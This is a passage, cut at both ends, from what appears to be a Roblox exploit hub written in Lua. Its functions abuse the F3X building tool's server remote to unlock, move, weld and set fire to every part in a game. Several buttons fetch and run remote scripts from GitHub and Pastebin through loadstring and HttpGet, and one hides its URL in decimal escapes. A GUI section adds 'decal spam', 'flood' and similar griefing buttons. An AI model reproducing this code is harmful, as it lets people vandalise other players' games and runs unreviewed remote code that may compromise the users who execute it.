do if x:IsA("BasePart") then SetLocked(x,false) end end Weld(v.Character.HumanoidRootPart,char.HumanoidRootPart,v.Character.HumanoidRootPart) end end Stickify() end) end; task.spawn(C_2d); -- StarterGui.F3XHUB.Bar.Main.TwigAll.LocalScript local function C_30() local script = G2L["30"]; script.Parent.MouseButton1Down:Connect(function() while wait() do local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function randomise() for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) MovePart(v,v.CFrame * CFrame.Angles(math.random(0,1), math.random(0,1), math.random(0,1))) end) end end end randomise() end end) end; task.spawn(C_30); -- StarterGui.F3XHUB.Bar.Main.FireParts.LocalScript local function C_33() local script = G2L["33"]; script.Parent.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() end) end; task.spawn(C_33); local function CCCC() local script = G2L["aaa"]; script.Parent.MouseButton1Down:Connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("116334479111332") end) end; task.spawn(CCCC); -- StarterGui.F3XHUB.Bar.OpenCloseKeybind local function C_35() local script = G2L["35"]; local mouse = game.Players.LocalPlayer:GetMouse() mouse.KeyDown:Connect(function(k) if k == "v" then script.Parent.Visible = not script.Parent.Visible end end) end; task.spawn(C_35); -- StarterGui.F3XHUB.Bar.MinimizeButton.LocalScript local function C_38() local script = G2L["38"]; script.Parent.MouseButton1Down:Connect(function() script.Parent.Parent.Main.Visible = not script.Parent.Parent.Main.Visible end) end; task.spawn(C_38); -- StarterGui.F3XHUB.Bar.CloseButton.LocalScript local function C_3b() local script = G2L["3b"]; script.Parent.MouseButton1Down:Connect(function() script.Parent.Parent.Parent.Bar:Destroy() end) end; task.spawn(C_3b); -- StarterGui.F3XHUB.Bar.DraggableScript local function C_3c() local script = G2L["3c"]; script.Parent.Active = true script.Parent.Selectable = true script.Parent.Draggable = true end; task.spawn(C_3c); return G2L["1"], require; end, }) local Button = MainTab:CreateButton({ Name = "require script executor", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/username12scripting/CloxoSS/refs/heads/main/Cloxo%20Server%20Side"))() end, }) local Button = MainTab:CreateButton({ Name = "yes, other c00lexecutor ( key: key_43568792 )", Callback = function() loadstring(game:HttpGet("https://pastebin.com/raw/CQUMRJR3"))() end, }) local Button = MainTab:CreateButton({ Name = "JABHub", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/JABhub", true))() end, }) local Button = MainTab:CreateButton({ Name = "random thing for tsb", Callback = function() --[[ DONT TRY TO HACK MY SCRIPT! ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗██████╗ ██████╗ ██╗ ██╗ ███████╗ █████╗ █████╗ ███╗ ██╗ ██████╗██╗ ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝██╔══██╗ ██╔══██╗╚██╗ ██╔╝ ╚══███╔╝██╔══██╗ ██╔══██╗████╗ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ ██║ ██║ ██████╔╝ ╚████╔╝ ███╔╝ ███████║ ███████║██╔██╗ ██║██║ ██║ ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ ██║ ██║ ██╔══██╗ ╚██╔╝ ███╔╝ ██╔══██║ ██╔══██║██║╚██╗██║██║ ╚═╝ ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗██████╔╝ ██████╔╝ ██║ ███████╗██║ ██║███████╗██║ ██║██║ ╚████║╚██████╗██╗ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝╚═╝ ]]-- loadstring("\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\112\97\115\116\101\98\105\110\46\99\111\109\47\114\97\119\47\70\72\76\81\56\82\103\53\34\41\41\40\41")() end, }) local Button = MainTab:CreateButton({ Name = "Za_anc for Just A Baseplate.", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ZaancOff/Za_anc-Just-A-Baseplate-Scripts/refs/heads/main/v3.lua"))() end, }) local Button = MainTab:CreateButton({ Name = "chases script", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/someman364/c00lbersexluis/refs/heads/main/luis"))() end, }) local Button = MainTab:CreateButton({ Name = "mine and noober gui", Callback = function() --[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 75 | Scripts: 21 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ssst G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["Name"] = [[ssst]]; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ssst.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 3; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95); G2L["2"]["BorderMode"] = Enum.BorderMode.Inset; G2L["2"]["Size"] = UDim2.new(0, 457, 0, 253); G2L["2"]["Position"] = UDim2.new(0.43288, 0, 0.22876, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["BackgroundTransparency"] = 0.4; -- StarterGui.ssst.Frame.LocalScript G2L["3"] = Instance.new("LocalScript", G2L["2"]); -- StarterGui.ssst.Frame.ImageLabel G2L["4"] = Instance.new("ImageLabel", G2L["2"]); G2L["4"]["BorderSizePixel"] = 0; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["4"]["Image"] = [[rbxassetid://124868710717730]]; G2L["4"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["BackgroundTransparency"] = 1; G2L["4"]["Position"] = UDim2.new(0.06393, 0, -0.48753, 0); -- StarterGui.ssst.Frame.TextLabel G2L["5"] = Instance.new("TextLabel", G2L["2"]); G2L["5"]["BorderSizePixel"] = 0; G2L["5"]["TextSize"] = 14; G2L["5"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32); G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5"]["Size"] = UDim2.new(0, 241, 0, 25); G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["Text"] = [[Gui made by:toothpickleglol, lucas_cubing10]]; G2L["5"]["Position"] = UDim2.new(0.25805, 0, -0.00299, 0); -- StarterGui.ssst.Frame.TextLabel.UICorner G2L["6"] = Instance.new("UICorner", G2L["5"]); G2L["6"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.ssst.Frame.TextButton G2L["7"] = Instance.new("TextButton", G2L["2"]); G2L["7"]["BorderSizePixel"] = 0; G2L["7"]["TextSize"] = 14; G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7"]["BackgroundTransparency"] = 0.2; G2L["7"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["Text"] = [[Troll gui 🤣🤣🤣]]; G2L["7"]["Position"] = UDim2.new(0.70602, 0, 0.81058, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["8"] = Instance.new("LocalScript", G2L["7"]); -- StarterGui.ssst.Frame.TextButton G2L["9"] = Instance.new("TextButton", G2L["2"]); G2L["9"]["BorderSizePixel"] = 0; G2L["9"]["TextSize"] = 14; G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9"]["BackgroundTransparency"] = 0.2; G2L["9"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["Text"] = [[1x1x13 executor]]; G2L["9"]["Position"] = UDim2.new(0.04582, 0, 0.80975, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["a"] = Instance.new("LocalScript", G2L["9"]); -- StarterGui.ssst.Frame.TextButton G2L["b"] = Instance.new("TextButton", G2L["2"]); G2L["b"]["BorderSizePixel"] = 0; G2L["b"]["TextSize"] = 14; G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b"]["BackgroundTransparency"] = 0.2; G2L["b"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["Text"] = [[hint]]; G2L["b"]["Position"] = UDim2.new(0.3729, 0, 0.81859, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["c"] = Instance.new("LocalScript", G2L["b"]); -- StarterGui.ssst.Frame.TextButton G2L["d"] = Instance.new("TextButton", G2L["2"]); G2L["d"]["BorderSizePixel"] = 0; G2L["d"]["TextSize"] = 14; G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d"]["BackgroundTransparency"] = 0.2; G2L["d"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["Text"] = [[skybox]]; G2L["d"]["Position"] = UDim2.new(0.0509, 0, 0.61243, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["e"] = Instance.new("LocalScript", G2L["d"]); -- StarterGui.ssst.Frame.TextButton G2L["f"] = Instance.new("TextButton", G2L["2"]); G2L["f"]["BorderSizePixel"] = 0; G2L["f"]["TextSize"] = 14; G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f"]["BackgroundTransparency"] = 0.2; G2L["f"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["Text"] = [[decal spam]]; G2L["f"]["Position"] = UDim2.new(0.37257, 0, 0.61638, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["10"] = Instance.new("LocalScript", G2L["f"]); -- StarterGui.ssst.Frame.TextButton G2L["11"] = Instance.new("TextButton", G2L["2"]); G2L["11"]["BorderSizePixel"] = 0; G2L["11"]["TextSize"] = 14; G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11"]["BackgroundTransparency"] = 0.2; G2L["11"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["11"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["Text"] = [[particle]]; G2L["11"]["Position"] = UDim2.new(0.70903, 0, 0.61362, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["12"] = Instance.new("LocalScript", G2L["11"]); -- StarterGui.ssst.Frame.TextButton G2L["13"] = Instance.new("TextButton", G2L["2"]); G2L["13"]["BorderSizePixel"] = 0; G2L["13"]["TextSize"] = 14; G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13"]["BackgroundTransparency"] = 0.2; G2L["13"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["13"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["Text"] = [[skeleton sky]]; G2L["13"]["Position"] = UDim2.new(0.04983, 0, 0.43306, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["14"] = Instance.new("LocalScript", G2L["13"]); -- StarterGui.ssst.Frame.TextButton G2L["15"] = Instance.new("TextButton", G2L["2"]); G2L["15"]["BorderSizePixel"] = 0; G2L["15"]["TextSize"] = 14; G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15"]["BackgroundTransparency"] = 0.2; G2L["15"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["15"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["Text"] = [[flood]]; G2L["15"]["Position"] = UDim2.new(0.37303, 0, 0.43465, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["16"] = Instance.new("LocalScript", G2L["15"]); -- StarterGui.ssst.Frame.TextButton G2L["17"] = Instance.new("TextButton", G2L["2"]); G2L["17"]["BorderSizePixel"] = 0; G2L["17"]["TextSize"] = 14; G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17"]["BackgroundTransparency"] = 0.2; G2L["17"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["17"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["Text"] = [[666]]; G2L["17"]["Position"] = UDim2.new(0.70898, 0, 0.43385, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["18"] = Instance.new("LocalScript", G2L["17"]); -- StarterGui.ssst.Frame.TextButton G2L["19"] = Instance.new("TextButton", G2L["2"]); G2L["19"]["BorderSizePixel"] = 0; G2L["19"]["TextSize"] = 14; G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19"]["BackgroundTransparency"] = 0.2; G2L["19"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["Text"] = [[theme music]]; G2L["19"]["Position"] = UDim2.new(0.04978, 0, 0.24965, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["1a"] = Instance.new("LocalScript", G2L["19"]); -- StarterGui.ssst.Frame.TextButton G2L["1b"] = Instance.new("TextButton", G2L["2"]); G2L["1b"]["BorderSizePixel"] = 0; G2L["1b"]["TextSize"] = 14; G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b"]["BackgroundTransparency"] = 0.2; G2L["1b"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["Text"] = [[romania spam]]; G2L["1b"]["Position"] = UDim2.new(0.37298, 0, 0.25559, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["1c"] = Instance.new("LocalScript", G2L["1b"]); -- StarterGui.ssst.Frame.TextButton G2L["1d"] = Instance.new("TextButton", G2L["2"]); G2L["1d"]["BorderSizePixel"] = 0; G2L["1d"]["TextSize"] = 14; G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d"]["BackgroundTransparency"] = 0.2; G2L["1d"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["Text"] = [[T7B3RS93 sound]]; G2L["1d"]["Position"] = UDim2.new(0.70507, 0, 0.25348, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["1e"] = Instance.new("LocalScript", G2L["1d"]); -- StarterGui.ssst.Frame.TextButton G2L["1f"] = Instance.new("TextButton", G2L["2"]); G2L["1f"]["TextWrapped"] = true; G2L["1f"]["BorderSizePixel"] = 0; G2L["1f"]["TextSize"] = 14; G2L["1f"]["TextScaled"] = true; G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(85, 85, 85); G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["BackgroundTransparency"] = 1; G2L["1f"]["Size"] = UDim2.new(0, 37, 0, 34); G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["Text"] = [[>]]; G2L["1f"]["Position"] = UDim2.new(0.93864, 0, 0.87224, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["20"] = Instance.new("LocalScript", G2L["1f"]); -- StarterGui.ssst.Frame.ImageLabel G2L["21"] = Instance.new("ImageLabel", G2L["2"]); G2L["21"]["BorderSizePixel"] = 0; G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["21"]["Image"] = [[rbxassetid://98874831022758]]; G2L["21"]["Size"] = UDim2.new(0, 187, 0, 115); G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["BackgroundTransparency"] = 1; G2L["21"]["Position"] = UDim2.new(0.57706, 0, -0.45759, 0); -- StarterGui.ssst.Frame2 G2L["22"] = Instance.new("Frame", G2L["1"]); G2L["22"]["Visible"] = false; G2L["22"]["BorderSizePixel"] = 3; G2L["22"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95); G2L["22"]["BorderMode"] = Enum.BorderMode.Inset; G2L["22"]["Size"] = UDim2.new(0, 457, 0, 253); G2L["22"]["Position"] = UDim2.new(0.433, 0, 0.229, 0); G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["Name"] = [[Frame2]]; G2L["22"]["BackgroundTransparency"] = 0.4; -- StarterGui.ssst.Frame2.LocalScript G2L["23"] = Instance.new("LocalScript", G2L["22"]); -- StarterGui.ssst.Frame2.TextButton G2L["24"] = Instance.new("TextButton", G2L["22"]); G2L["24"]["BorderSizePixel"] = 0; G2L["24"]["TextSize"] = 14; G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["24"]["BackgroundTransparency"] = 0.2; G2L["24"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["24"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["24"]["Text"] = [[SetWalkspeed]]; G2L["24"]["Position"] = UDim2.new(0.0372, 0, 0.07115, 0); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["25"] = Instance.new("LocalScript", G2L["24"]); -- StarterGui.ssst.Frame2.TextButton G2L["26"] = Instance.new("TextButton", G2L["22"]); G2L["26"]["TextWrapped"] = true; G2L["26"]["BorderSizePixel"] = 0; G2L["26"]["TextSize"] = 14; G2L["26"]["TextScaled"] = true; G2L["26"]["TextColor3"] = Color3.fromRGB(255, 0, 0); 